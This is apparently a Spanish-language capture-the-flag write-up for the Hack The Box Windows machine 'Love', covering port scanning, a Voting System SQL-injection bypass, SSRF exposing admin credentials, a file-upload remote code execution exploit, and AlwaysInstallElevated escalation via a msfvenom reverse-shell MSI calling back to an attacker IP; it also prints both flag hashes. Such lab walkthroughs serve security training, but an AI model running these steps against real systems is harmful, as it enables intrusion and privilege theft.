# Love

#### Sobre esta maquina: HTB

Sistema Operativo: Windows

**Skills Usados**:&#x20;



* Server Side Request Forgery (SSRF)
* Exploiting Voting System
* Abusing AlwaysInstallElevated (msiexec/msi file)



Metodologia:

Hacemos el primer reconocimiento con nmap:

```
// 
> nmap -T4 -sS -Pn -n -p- --open 10.10.10.239 -oN First_scan

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-01 11:14 EDT
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
3306/tcp open mysql
5000/tcp open upnp
5040/tcp open unknown
5985/tcp open wsman
5986/tcp open wsmans
7680/tcp open pando-pub
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
```

Hacemos escaneo con Script e identificación de versiones de los puertos abiertos:

```
// 
❯ nmap -T4 -sS -Pn -n -p 80,135,139,443,445,3306,5000,5040,5985,5986,7680,47001 -sVC 10.10.10.239 -oN SV_scan

PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
|_http-title: Voting System using PHP
|http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
| http-cookie-flags:
| /:
| PHPSESSID:
| httponly flag not set
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|http-title: 403 Forbidden
| ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in
| Not valid before: 2021-01-18T14:00:16
|Not valid after: 2022-01-18T14:00:16
| tls-alpn:
| http/1.1
445/tcp open microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open mysql?
| fingerprint-strings:
| NCP, NULL, NotesRPC:
| Host '10.10.14.40' is not allowed to connect to this MariaDB server
5000/tcp open http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
5040/tcp open unknown
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ssl-date: 2025-05-01T18:39:53+00:00; +21m29s from scanner time.
| ssl-cert: Subject: commonName=LOVE
| Subject Alternative Name: DNS:LOVE, DNS:Love
| Not valid before: 2021-04-11T14:39:19
|_Not valid after: 2024-04-10T14:39:19
|http-server-header: Microsoft-HTTPAPI/2.0
| tls-alpn:
| http/1.1
|_http-title: Not Found
```

Vemos que corre por el puerto 80 :

<figure><img src="https://1413476267-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdQjFWbix88RD8ccosYti%2Fuploads%2F2anrgRI7rYqbtroJGQE5%2FScreenshot%20(1098).png?alt=media&#x26;token=553aa2c0-d330-4901-bfc2-464795888697" alt=""><figcaption><p>Voting System.</p></figcaption></figure>

Observamos que tecnologias se usaron para la web con Wappalyzer:

<figure><img src="https://1413476267-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdQjFWbix88RD8ccosYti%2Fuploads%2F5Rov7dZJFhiByhweDOss%2FScreenshot%20(1099).png?alt=media&#x26;token=ecf9648f-b6dd-47c3-a63b-44f3ef05d5c9" alt=""><figcaption><p>Tecnologias utilizadas.</p></figcaption></figure>

Utilizamos script http en nmap para enumerar subdominios:

```
// 
❯ nmap --script http-enum -p80 -n -T4 10.10.10.239 -oN WebScan

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-01 13:10 EDT
Nmap scan report for 10.10.10.239
Host is up (0.14s latency).
PORT STATE SERVICE
80/tcp open http
| http-enum:
| /admin/: Possible admin folder
| /admin/index.php: Possible admin folder
| /Admin/: Possible admin folder
| /icons/: Potentially interesting folder w/ directory listing
| /images/: Potentially interesting directory w/ listing on 'apache/2.4.46 (win64) openssl/1.1.1j php/7.3.27'
|_ /includes/: Potentially interesting directory w/ listing on 'apache/2.4.46 (win64) openssl/1.1.1j php/7.3.27'
Nmap done: 1 IP address (1 host up) scanned in 20.24 seconds
```

Buscamos en searchsploit alguna vulnerabilidad para Voting System:

```
// 
❯ searchsploit voting system

Exploit Title | Path

Voting System 1.0 - Authentication Bypass (SQLI) | php/webapps/49843.txt
Voting System 1.0 - File Upload RCE (Authenticated Remote Code Execution) | php/webapps/49445.py
Voting System 1.0 - Remote Code Execution (Unauthenticated) | php/webapps/49846.txt
Voting System 1.0 - Time based SQLI (Unauthenticated SQL injection) | php/webapps/49817.txt
```

Usaremos el sql injection php/webapps/49843.txt:

El script funciona asi segun su creador:

```
// 
You can simply bypass the /admin/login.php with the following sql
injection. All you need is a bcrypt hash that is equal with your
random password, the username should NOT match with an existing
```

Abrimos Burpsuite e intentamos realizar la inyección :

<figure><img src="https://1413476267-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdQjFWbix88RD8ccosYti%2Fuploads%2FyBJ6fKT8iuTaXxdTENIw%2FScreenshot%20(1100).png?alt=media&#x26;token=f21be96c-1177-4450-8aae-b5cf88e726e8" alt=""><figcaption><p>Enviamos la peticion del script.</p></figcaption></figure>

Analizamos la respuesta:

<figure><img src="https://1413476267-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdQjFWbix88RD8ccosYti%2Fuploads%2FpR5tdr2Kd9VzWVrYu6Ez%2FScreenshot%20(1101).png?alt=media&#x26;token=665615a9-3e01-4d07-951c-65e68ee1bcaa" alt=""><figcaption><p>Respuesta del Script en Burpsuite.</p></figcaption></figure>

Vamos al panel de Voting System de login y estamos autenticados :

<figure><img src="https://1413476267-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdQjFWbix88RD8ccosYti%2Fuploads%2FAG0nwQIzZNFYRKcTvuN7%2FScreenshot%20(1102).png?alt=media&#x26;token=323d6c07-75ea-4d86-bd83-8f7579e82355" alt=""><figcaption></figcaption></figure>

A pesar de que logramos autenticarnos no podemos realizar ningún avance significativo, así que intentaremos probar con otra vulnerabilidad asociada a otro puerto.&#x20;En el puerto 443, existen dos subdominios asociados, stanging.love.htb y love.htb para poder verlos correctamente los agregaremos a nuestro etc hosts:

Etc Host con los nuevos dominios incluidos:

<figure><img src="https://1413476267-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdQjFWbix88RD8ccosYti%2Fuploads%2FIgq3WqbeUYjzs3Rardqh%2FScreenshot%20(1104).png?alt=media&#x26;token=36c9136e-dcaa-402b-961d-0523f309eabb" alt=""><figcaption></figcaption></figure>

Vemos el nuevo dominio:

<figure><img src="https://1413476267-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdQjFWbix88RD8ccosYti%2Fuploads%2FM00NNFD7E8GBC0NVNBVA%2FScreenshot%20(1105).png?alt=media&#x26;token=04f69cfd-5f6e-431a-a492-6e0ae69b0adb" alt=""><figcaption><p>Listamos el propio localhost del dominio y vemos que nos arroja el mismo sistema de voting system.</p></figcaption></figure>

Para comprobar que funcione listaremos los puertos que no nos deja ver normalmente, como el 5.000:

<figure><img src="https://1413476267-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdQjFWbix88RD8ccosYti%2Fuploads%2F3O5rS33YNtDz6Pz6RBvc%2FScreenshot%20(1106).png?alt=media&#x26;token=1237a0bb-ee11-49a5-b6f0-b7a98f30de76" alt=""><figcaption><p>Nos otorga usuario y credenciales, admin: @LoveIsInTheAir!!!!</p></figcaption></figure>

Esta vulnerabilidad nos puede permitir realizar un SSRF, o falsificación de solicitudes del lado del servidor, esta es una vulnerabilidad de seguridad que permite a un atacante manipular una aplicación web para que realice solicitudes a recursos internos o externos, potencialmente comprometiendo la seguridad de la aplicación y la organización.

<figure><img src="https://1413476267-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdQjFWbix88RD8ccosYti%2Fuploads%2FdJVMnFiA7Dyz597fGDOd%2FScreenshot%20(1107).png?alt=media&#x26;token=e7ae8103-c72c-4a28-9e62-5f2307bbf130" alt=""><figcaption><p>Probando credenciales.</p></figcaption></figure>

<figure><img src="https://1413476267-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdQjFWbix88RD8ccosYti%2Fuploads%2Fp4a1hYENl7q9QlIAANSO%2FScreenshot%20(1108).png?alt=media&#x26;token=8a1327cd-2b7b-4e6d-850c-e102c288f8c6" alt=""><figcaption><p>Nos autentica al mismo panel anterior en el que estabamos antes.</p></figcaption></figure>

Ingresamos al sistema pero es el mismo al que accedimos antes, asi que probaremos con un nuevo escript de searchsploit esta vez el: Voting System 1.0 - File Upload RCE | php/webapps/49445.py.

Modificamos el Script descargado:&#x20;

<figure><img src="https://1413476267-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdQjFWbix88RD8ccosYti%2Fuploads%2FKua6gbm4LCRQBS0lukfv%2FScreenshot%20(1110).png?alt=media&#x26;token=49c7dae0-273c-4f0b-b156-eb1c19a385f8" alt=""><figcaption><p>Colocamos los parametros de nuestro target.</p></figcaption></figure>

Ejecutamos el script mientras estamos en escucha como indica el creador y tenemos éxito, estamos dentro:

<figure><img src="https://1413476267-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdQjFWbix88RD8ccosYti%2Fuploads%2FnURaFTgjcwtuZeuRljGh%2FScreenshot%20(1111).png?alt=media&#x26;token=e9537c50-86d8-45f7-854a-d8cd37c09fdd" alt=""><figcaption><p>Ingresamos como usuario phoebe gracias al Script.</p></figcaption></figure>

Buscamos la primera flag:

```
// 
cd Desktop

C:\Users\Phoebe\Desktop>dir

Directory of C:\Users\Phoebe\Desktop

04/13/2021 03:20 AM
.
04/13/2021 03:20 AM..
04/30/2025 06:02 AM 34 user.txt

1 File(s) 34 bytes
2 Dir(s) 4,050,022,400 bytes free

C:\Users\Phoebe\Desktop>type user.txt

9dad3705b62cf77f81c86908fd1615f9
```

Ahora intentaremos ganar privilegios, lo haremos creando un directoro Privesc dentro de los archivos temporales del sistema y utilizando los binarios de Winpease de Github.

Creamos el directorio:

```
// 
C:\Users>cd C:\windows\temp

C:\Windows\Temp>mkdir Privesc

C:\Windows\Temp>cd Privesc

C:\Windows\Temp\Privesc>
```

Descargamos Winpease desde Github:

<figure><img src="https://1413476267-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdQjFWbix88RD8ccosYti%2Fuploads%2FqUzMe26318kfSFd9XauZ%2FScreenshot%20(1112).png?alt=media&#x26;token=97771ea2-94ac-441b-b456-dc258622e5e8" alt=""><figcaption><p>Proyecto Winpease, descargamos la version x64.</p></figcaption></figure>

Levantamos un server con python en el puerto 80 y nos traspasamos el Winpeas a la maquina victima:

<figure><img src="https://1413476267-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdQjFWbix88RD8ccosYti%2Fuploads%2Fh5TjgJ1NmRLD1iNRjWiQ%2FScreenshot%20(1115).png?alt=media&#x26;token=2911b14d-8fec-4672-96e7-027bbeca7ee2" alt=""><figcaption><p>Enviando el Winpeas.exe hacia la maquina victima con un servidor Python por el puerto 80.</p></figcaption></figure>

Al ejecutarlo nos arroja las posibles vulnerabilidades que posee el sistema, estas vulnerabilidades nos pueden convertir en ROOT, escalando privilegios.

Encontramos dentro del análisis **AlwaysInstallelevated** algo de lo que nos podemos aprovechar.

&#x20;Para poder usar **AlwaysElevated** como una vulnerabilidad que nos otorgue privilegios, debemos crear un payload con msfvenom:

```
// 
❯ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.40 LPORT=443 --platform windows -a x64 -f msi -o reverse.msi
```

Una vez creado el Payload, volvemos a abrir un servidor con python y descargamos el payload a la maquina victima:

<figure><img src="https://1413476267-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdQjFWbix88RD8ccosYti%2Fuploads%2FagreUwrbUpsTIBzCPdAv%2FScreenshot%20(1117).png?alt=media&#x26;token=126dcd66-57ac-4739-9382-a925622355d2" alt=""><figcaption></figcaption></figure>

Ahora instalamos el reverse.msi en la maquina victima mientras estamos por escucha en el puerto 443 y asi obtenemos Privilegios:

<figure><img src="https://1413476267-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdQjFWbix88RD8ccosYti%2Fuploads%2FoGnIvl2GldER8NGxKNmA%2FScreenshot%20(1116).png?alt=media&#x26;token=4949d920-a98b-4e1a-85f7-a0e8d1ec114e" alt=""><figcaption><p>Hemos ganado acceso como ROOT a la maquina victima, gracias al Payload.</p></figcaption></figure>

Buscamos la ultima flag como ROOT:

```
// 
C:\WINDOWS\system32>cd /users

C:\Users>dir

Directory of C:\Users
04/13/2021 06:58 AM
.
04/13/2021 06:58 AM..
04/12/2021 03:00 PMAdministrator
04/21/2021 07:01 AMPhoebe
04/12/2021 02:10 PMPublic

C:\Users>cd Administrator

C:\Users\Administrator>dir

Directory of C:\Users\Administrator
04/12/2021 03:00 PM
.
04/12/2021 03:00 PM..
04/12/2021 02:55 PM3D Objects
04/12/2021 02:55 PMContacts
04/13/2021 03:20 AMDesktop
04/12/2021 02:55 PMDocuments
04/13/2021 03:18 AMDownloads

C:\Users\Administrator>cd Desktop

C:\Users\Administrator\Desktop>dir

Directory of C:\Users\Administrator\Desktop
04/13/2021 03:20 AM
.
04/13/2021 03:20 AM..
04/30/2025 06:02 AM 34 root.txt

C:\Users\Administrator\Desktop>type root.txt

ab615179649e94ef8406f5a6041dc6f4
```

Y así después de conseguir la ultima Flag, daríamos por finalizada la maquina Love.
